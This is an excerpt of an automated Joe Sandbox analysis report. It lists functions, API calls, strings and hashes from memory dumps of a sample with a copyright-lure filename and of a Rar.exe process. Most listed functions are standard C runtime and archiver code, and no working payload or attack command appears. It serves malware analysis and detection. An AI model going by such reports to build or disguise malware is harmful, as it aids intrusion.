Opcode Fuzzy Hash: bfce5aa4a5c95bcfe762ac821df23267a12dc18d1cabd57d3f5c48b4e321a69b
Instruction Fuzzy Hash: DE715D71D1460ADFDF41CFE5C490BEEBBB9BB0A314F14842AD915AB380D730A989CB54

Function 6E647FC4 Relevance: 6.2, APIs: 4, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 6E6480F8

Part of subcall function 6E645314: __aulldvrm.LIBCMT ref: 6E645345

DName::operator+.LIBCMT ref: 6E648059
DName::operator=.LIBVCRUNTIME ref: 6E64813D
DName::DName.LIBVCRUNTIME ref: 6E64816F

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=__aulldvrm
String ID:
API String ID: 2973644308-0
Opcode ID: a82de16318cbf962a7a5ce271f22eb162d0f3338d384d21d44c53df99ae05be4
Instruction ID: 83a17cdc9ba696e314f196baee181667a03828597702b4cd362fe378d615aca6
Opcode Fuzzy Hash: a82de16318cbf962a7a5ce271f22eb162d0f3338d384d21d44c53df99ae05be4
Instruction Fuzzy Hash: EC6179B090065ADFDB05CFA9C894AEEBBB4BB47704F00855BE400AB360D7709A85CBD5

Function 6E64423D Relevance: 6.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 6E64428E
TypeidsEqual.LIBVCRUNTIME ref: 6E6442B3
PMDtoOffset.LIBCMT ref: 6E6442C9
PMDtoOffset.LIBCMT ref: 6E64434A

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 38584ea5e3f0bcb2bdcd95a26988dd38a07d0493eba6fec8afcf67d837ab5845
Instruction ID: 128b71187fb0a72ee5f5983f2ad330b2e3f9defc4a78219de6ce3979c0ec8627
Opcode Fuzzy Hash: 38584ea5e3f0bcb2bdcd95a26988dd38a07d0493eba6fec8afcf67d837ab5845
Instruction Fuzzy Hash: 3951CF3591421ACFDF02CFAAC4925DEFBF5EF66714F10849AD850A7240D7B2A906CB50

Function 6E64E030 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 6E64E03E
_local_unwind2.VCRUNTIME140(?,000000FF), ref: 6E64E135

Part of subcall function 6E64BAD0: __FindPESection.LIBCMT ref: 6E64BC01

_global_unwind2.VCRUNTIME140(?), ref: 6E64E0CC
_local_unwind2.VCRUNTIME140(?,?), ref: 6E64E0D9

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: _local_unwind2$FindSection___except_validate_context_record_global_unwind2
String ID:
API String ID: 2858483165-0
Opcode ID: d33fa127a7e227048eb4d5695752e5303a6dac0d039590cdf290c3005857dacc
Instruction ID: e211d15c5b68f9559c7e9a4478cc8c1dfb51ec9f65b6db13b54397348130f85c
Opcode Fuzzy Hash: d33fa127a7e227048eb4d5695752e5303a6dac0d039590cdf290c3005857dacc
Instruction Fuzzy Hash: 24313B72A00204DBCB10DF98DC84AEAB7A9FB05354F05C465EC198F245E731F624CBE1

Function 73425015 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 73425062

Part of subcall function 7342580D: InitializeSListHead.KERNEL32(734283E0,7342506C,73426EC8,00000010,73424FFD,?,?,?,73425225,?,00000001,?,?,00000001,?,73426F10), ref: 73425812

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(734260A8,734260AC,73426EC8,00000010,73424FFD,?,?,?,73425225,?,00000001,?,?,00000001,?,73426F10), ref: 7342507B
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(734260A0,734260A4,73426EC8,00000010,73424FFD,?,?,?,73425225,?,00000001,?,?,00000001,?,73426F10), ref: 73425099
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 734250CC

Memory Dump Source

Source File: 0000000B.00000002.2457629784.0000000073421000.00000020.00000001.01000000.00000009.sdmp, Offset: 73420000, based on PE: true

Associated: 0000000B.00000002.2457422814.0000000073420000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2457870865.0000000073426000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.2458341017.0000000073429000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_73420000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 590286634-0
Opcode ID: e0edd50fa6c032b32d52aaada89be85efc29f63259d7e7c68cc6f6c349f4c757
Instruction ID: 1d137778e6ccf74ac3bf8d2a07138c00d7a917db9743cb2063b4617f9b7e3b88
Opcode Fuzzy Hash: e0edd50fa6c032b32d52aaada89be85efc29f63259d7e7c68cc6f6c349f4c757
Instruction Fuzzy Hash: 0021D4B2604345AFEB0CAB748805B9CFFA19F15267F2440CDD9A67B2C2DBA10044CAAD

Function 6E64DF40 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 6E64DF4E
_global_unwind2.VCRUNTIME140(?), ref: 6E64DFB5
_local_unwind2.VCRUNTIME140(?,?), ref: 6E64DFC2
_local_unwind2.VCRUNTIME140(?,000000FF), ref: 6E64E000

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: _local_unwind2$___except_validate_context_record_global_unwind2
String ID:
API String ID: 2485504424-0
Opcode ID: 9d9bb3e35fbb533e372ac6e0f27e93a15b7f0a0cedb17f812234e18e255c726a
Instruction ID: daf8b4fb75e2468263de9f781ab68c79ff3dd81f5b53aaf4da61c0c7e58b6672
Opcode Fuzzy Hash: 9d9bb3e35fbb533e372ac6e0f27e93a15b7f0a0cedb17f812234e18e255c726a
Instruction Fuzzy Hash: 80219572900209EBCB10DF9DD884AAABB68FF05364F448565ED259B245E731F960CFE0

Function 6E643A1C Relevance: 6.0, APIs: 4, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6E643A23
unexpected.VCRUNTIME140(00000004,6E6434A3,00000000,?,?,?,?), ref: 6E643A37

Part of subcall function 6E644980: __telemetry_main_return_trigger.VCRUNTIME140 ref: 6E64498F
Part of subcall function 6E644980: terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6E644997

_CxxThrowException.VCRUNTIME140(00000000,00000000,00000004,6E6434A3,00000000,?,?,?,?), ref: 6E643A4B

Part of subcall function 6E6448A0: __telemetry_main_return_trigger.VCRUNTIME140(Bad dynamic_cast!,00000000,?,?,?,?,6E6445E2,?,6E64FCE8), ref: 6E6448D0
Part of subcall function 6E6448A0: RaiseException.KERNEL32(E06D7363,00000001,00000003,Edn,?,?,?,?,6E6445E2,?,6E64FCE8), ref: 6E644900

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000004,6E6434A3,00000000,?,?,?,?), ref: 6E643A50

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Exception__telemetry_main_return_trigger$H_prolog3_catchRaiseThrowabortterminateunexpected
String ID:
API String ID: 2816766880-0
Opcode ID: 9795131ddc8af6fd95a96ea3c82cda8ce78e993ee8e01900e1b3634d65bc4a8c
Instruction ID: 1b0749cd7b8c3a8078dfeb613b3e3e93fcd8e6034f46bd7ff12231d9f60db89a
Opcode Fuzzy Hash: 9795131ddc8af6fd95a96ea3c82cda8ce78e993ee8e01900e1b3634d65bc4a8c
Instruction Fuzzy Hash: 7AE01774690205EED754EFE0D446B8D33A85F01329F21D808D2151F2C8CBF0C182CB6A

Function 6E64A09F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 6E64A0FA
DName::DName.LIBVCRUNTIME ref: 6E64A245

Strings

..., xrefs: 6E64A1FC

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: NameName::Replicator::operator[]
String ID: ...
API String ID: 3707554701-440645147
Opcode ID: 61a7059403bc86ee345b21d2805f18ba69d3032f8d75a55c6e63d589a8ca358a
Instruction ID: 0e87aef280238ae704b13c7be864ae8dc3f529c9c2f1eaedebb8872ec8140778
Opcode Fuzzy Hash: 61a7059403bc86ee345b21d2805f18ba69d3032f8d75a55c6e63d589a8ca358a
Instruction Fuzzy Hash: 9F51AEB594864AFFDB01CFE8C4946EEBBB8AB0B300F04C86AD45197381E772A549CB51

Function 6E64975D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 6E64985D

Part of subcall function 6E6455D8: shared_ptr.LIBCMT ref: 6E6455F4

Strings

cpu, xrefs: 6E649808
amp, xrefs: 6E6497F9

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: NameName::shared_ptr
String ID: amp$cpu
API String ID: 2125921051-2542064945
Opcode ID: 5fcba2e27019069b37c995fc43f94ea688f44381fb10f4bfce99cfe5ece1983d
Instruction ID: efa2aab776d5a6544617a8a1677785a25ac863c4ef487163348e20a2309002e4
Opcode Fuzzy Hash: 5fcba2e27019069b37c995fc43f94ea688f44381fb10f4bfce99cfe5ece1983d
Instruction Fuzzy Hash: C7318E71D8060ADFCB04CFE9C551AEE7BB8BF46328F10C95AD555AB341DB309A44CB94

Function 6E646AC1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 6E646B04
DName::operator+=.LIBCMT ref: 6E646B44

Strings

void, xrefs: 6E646B26

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: NameName::Name::operator+=
String ID: void
API String ID: 2247604192-3531332078
Opcode ID: d08f4aed1b1bd9873b408d2299ce9f53ccdebadfe9ba9dfd150af28bd8d6e112
Instruction ID: 9fa840b4628cb396cba4b648cfa685ad88f7f505f8887175fa95f69cc2aae38c
Opcode Fuzzy Hash: d08f4aed1b1bd9873b408d2299ce9f53ccdebadfe9ba9dfd150af28bd8d6e112
Instruction Fuzzy Hash: 55115EB580021AEFCB04EFE5C854AEEBBB8EF05314F00C95AD411A7280DB70A758CB95

Function 6E645097 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 6E6450B4
swprintf.LIBCMT ref: 6E6450D7

Part of subcall function 6E64B717: __vswprintf_s_l.MSPDB140-MSVCRT ref: 6E64B729

Strings

%lf, xrefs: 6E6450AA, 6E6450AF, 6E6450D4

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: ___swprintf_l__vswprintf_s_lswprintf
String ID: %lf
API String ID: 391901838-2891890143
Opcode ID: 3d6f8fd5ef67839e23c22d5b9f4e1695ac48477335db3fb84e0a330b3e7f9955
Instruction ID: b8cb41e10dbd9c00b2e4fd4a93cc8e211b5deea7647b4385e7d14b5f158dde43
Opcode Fuzzy Hash: 3d6f8fd5ef67839e23c22d5b9f4e1695ac48477335db3fb84e0a330b3e7f9955
Instruction Fuzzy Hash: 69F049A5500108FADB05ABD5DC49FFF7F6CDB85298F018498F6492A240DB756E1093BA

Function 6E6450F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 6E645110
swprintf.LIBCMT ref: 6E645133

Part of subcall function 6E64B717: __vswprintf_s_l.MSPDB140-MSVCRT ref: 6E64B729

Strings

%lf, xrefs: 6E645106, 6E64510B, 6E645130

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: ___swprintf_l__vswprintf_s_lswprintf
String ID: %lf
API String ID: 391901838-2891890143
Opcode ID: 4df17c4023dbbc29e0a21fadaf88bdb5171b1891107edf7e52b0a237e61097f3
Instruction ID: 1403213771ee5571abab93c5b94c2f062aeecf069141667dfc608b1bd2b4e043
Opcode Fuzzy Hash: 4df17c4023dbbc29e0a21fadaf88bdb5171b1891107edf7e52b0a237e61097f3
Instruction Fuzzy Hash: FDF06DA5100108BADB01AB95CC49FFF7B6CDB85298F018499FA491B240DB75AE1493B9

Function 6E649FEA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,??_C,00000004,00000000,00000000,?,6E64A449,00000000,00000000,?,00000000), ref: 6E64A005
DName::DName.LIBVCRUNTIME ref: 6E64A04D

Strings

??_C, xrefs: 6E649FFF

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: NameName::strncmp
String ID: ??_C
API String ID: 3707088317-1959642359
Opcode ID: dd35e76e058d23c26ec037c9286e70f2b00a62c2ffc6390aeb03a8fbafc25c42
Instruction ID: 800288478974cdade055b23610c3a257317067dfd278ca1b929482fab7396741
Opcode Fuzzy Hash: dd35e76e058d23c26ec037c9286e70f2b00a62c2ffc6390aeb03a8fbafc25c42
Instruction Fuzzy Hash: 70016DB0A44604FFDF41CF95D841F8A3BA9BB03748F008455F506DB380D770D9898719

Function 6E6445AA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 6E6445B6
_CxxThrowException.VCRUNTIME140(?,6E64FCE8), ref: 6E6445DD

Part of subcall function 6E6448A0: __telemetry_main_return_trigger.VCRUNTIME140(Bad dynamic_cast!,00000000,?,?,?,?,6E6445E2,?,6E64FCE8), ref: 6E6448D0
Part of subcall function 6E6448A0: RaiseException.KERNEL32(E06D7363,00000001,00000003,Edn,?,?,?,?,6E6445E2,?,6E64FCE8), ref: 6E644900

Strings

Access violation - no RTTI data!, xrefs: 6E6445AD

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Exception$RaiseThrow__telemetry_main_return_triggerstd::__non_rtti_object::__construct_from_string_literal
String ID: Access violation - no RTTI data!
API String ID: 1667904068-2158758863
Opcode ID: d824544cf478b785ddc45637f43fe2489755465bf686c5bf816755b877dfc892
Instruction ID: 076e9a0b615896fb18a59ac264d9f093366a4ae2b13c8242b7e47ebaf39a904b
Opcode Fuzzy Hash: d824544cf478b785ddc45637f43fe2489755465bf686c5bf816755b877dfc892
Instruction Fuzzy Hash: 13C0127280410CDFCF04DED0D507CCE73AC9D09210B60D952E610B6040EBA1F96A4624

Function 6E644654 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 6E644633
_CxxThrowException.VCRUNTIME140(6E64FC38,6E64FCCC,6E64FC38,00000014,?,6E64FCE8), ref: 6E644677

Part of subcall function 6E6448A0: __telemetry_main_return_trigger.VCRUNTIME140(Bad dynamic_cast!,00000000,?,?,?,?,6E6445E2,?,6E64FCE8), ref: 6E6448D0
Part of subcall function 6E6448A0: RaiseException.KERNEL32(E06D7363,00000001,00000003,Edn,?,?,?,?,6E6445E2,?,6E64FCE8), ref: 6E644900

Strings

Access violation - no RTTI data!, xrefs: 6E644657

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Exception$RaiseThrow__telemetry_main_return_triggerstd::__non_rtti_object::__construct_from_string_literal
String ID: Access violation - no RTTI data!
API String ID: 1667904068-2158758863
Opcode ID: cd38401d5a090db41e349ace4bb0a892517e8358f58137cc72d8c8df4ecf681b
Instruction ID: d74607d849f3075b333d4dfd2411e3705583474e15d1419deed642d28eb82d76
Opcode Fuzzy Hash: cd38401d5a090db41e349ace4bb0a892517e8358f58137cc72d8c8df4ecf681b
Instruction Fuzzy Hash: 58D0C97680814CEFCB18EED4D507CCE63BCE909310F60DD569700AF540EAF6B953466A

Function 6E6444CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 12COMMON

Download Yara Rule

APIs

std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 6E6444DA
_CxxThrowException.VCRUNTIME140(?,6E64FC74), ref: 6E6444EA

Part of subcall function 6E6448A0: __telemetry_main_return_trigger.VCRUNTIME140(Bad dynamic_cast!,00000000,?,?,?,?,6E6445E2,?,6E64FCE8), ref: 6E6448D0
Part of subcall function 6E6448A0: RaiseException.KERNEL32(E06D7363,00000001,00000003,Edn,?,?,?,?,6E6445E2,?,6E64FCE8), ref: 6E644900

Strings

Access violation - no RTTI data!, xrefs: 6E6444D1

Memory Dump Source

Source File: 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6E640000, based on PE: true

Associated: 0000000B.00000002.2455092459.000000006E640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2455738345.000000006E651000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2456858279.000000006E652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e640000_La collection de vid os et d images est prot g e par les droits d aute.jbxd

Similarity

API ID: Exception$RaiseThrow__telemetry_main_return_triggerstd::__non_rtti_object::__construct_from_string_literal
String ID: Access violation - no RTTI data!
API String ID: 1667904068-2158758863
Opcode ID: bcb970eb5f09d86746cb3472ae41b640d439e34ec35924809fc7ebd5a5c6afe9
Instruction ID: dacada7777c3001064074b91e19f1685684cc732086ac6bcb7e4b414cbca6eac
Opcode Fuzzy Hash: bcb970eb5f09d86746cb3472ae41b640d439e34ec35924809fc7ebd5a5c6afe9
Instruction Fuzzy Hash: 09C0123280010CEFCB04DFE0D80ACCE73AC9908210B609852EA20A6140EBA1FA6A8664

Analysis Process: Rar.exePID: 6104, Parent PID: 572COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	1232
Total number of Limit Nodes:	55

Executed Functions

Function 00007FF6F67C6850 Relevance: 31.2, APIs: 1, Strings: 16, Instructions: 1433COMMON

Download Yara Rule

Strings

stdin, xrefs: 00007FF6F67C7C55
NUL, xrefs: 00007FF6F67C71E7
SFX, xrefs: 00007FF6F67C7568
7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tbz;tbz2;tgz;txz;xz;z;zip;zipx;zst;tzst, xrefs: 00007FF6F67C6D55
LOG, xrefs: 00007FF6F67C7104
OFF, xrefs: 00007FF6F67C72A5
stdin, xrefs: 00007FF6F67C76E0
ERR, xrefs: 00007FF6F67C7174
rar.log, xrefs: 00007FF6F67C7119
EML, xrefs: 00007FF6F67C719F
default.sfx, xrefs: 00007FF6F67C7592
*?., xrefs: 00007FF6F67C6DAE
N, xrefs: 00007FF6F67C6899
VER, xrefs: 00007FF6F67C7316
SND, xrefs: 00007FF6F67C7145
*.%ls, xrefs: 00007FF6F67C6DCC

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID:
String ID: *.%ls$*?.$7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tbz;tbz2;tgz;txz;xz;z;zip;zipx;zst;tzst$EML$ERR$LOG$N$NUL$OFF$SFX$SND$VER$default.sfx$rar.log$stdin$stdin
API String ID: 0-456607210
Opcode ID: ee33aa828a06ab12d32669e18d450503e041405f612f344291f682de952f5984
Instruction ID: 62727db89826bdb0addb413bc618b4c547c16799ba6586d57a1cc866203a03d1
Opcode Fuzzy Hash: ee33aa828a06ab12d32669e18d450503e041405f612f344291f682de952f5984
Instruction Fuzzy Hash: 20D2D122D0C28385F7659F2481A42BE27ADEB40784F644135DA2FCB2D9FF6EE941D760

Function 00007FF6F67F75B4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6F67F77C8: FreeLibrary.KERNEL32(?,?,00000000,00007FF6F67CE27A), ref: 00007FF6F67F77DD

GetModuleFileNameW.KERNEL32(?,?,?,00007FF6F67EB1EB), ref: 00007FF6F67F7616
GetVersionExW.KERNEL32 ref: 00007FF6F67F7652
LoadLibraryExW.KERNELBASE ref: 00007FF6F67F767B
LoadLibraryW.KERNEL32 ref: 00007FF6F67F7687

Strings

rarlng.dll, xrefs: 00007FF6F67F7622

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
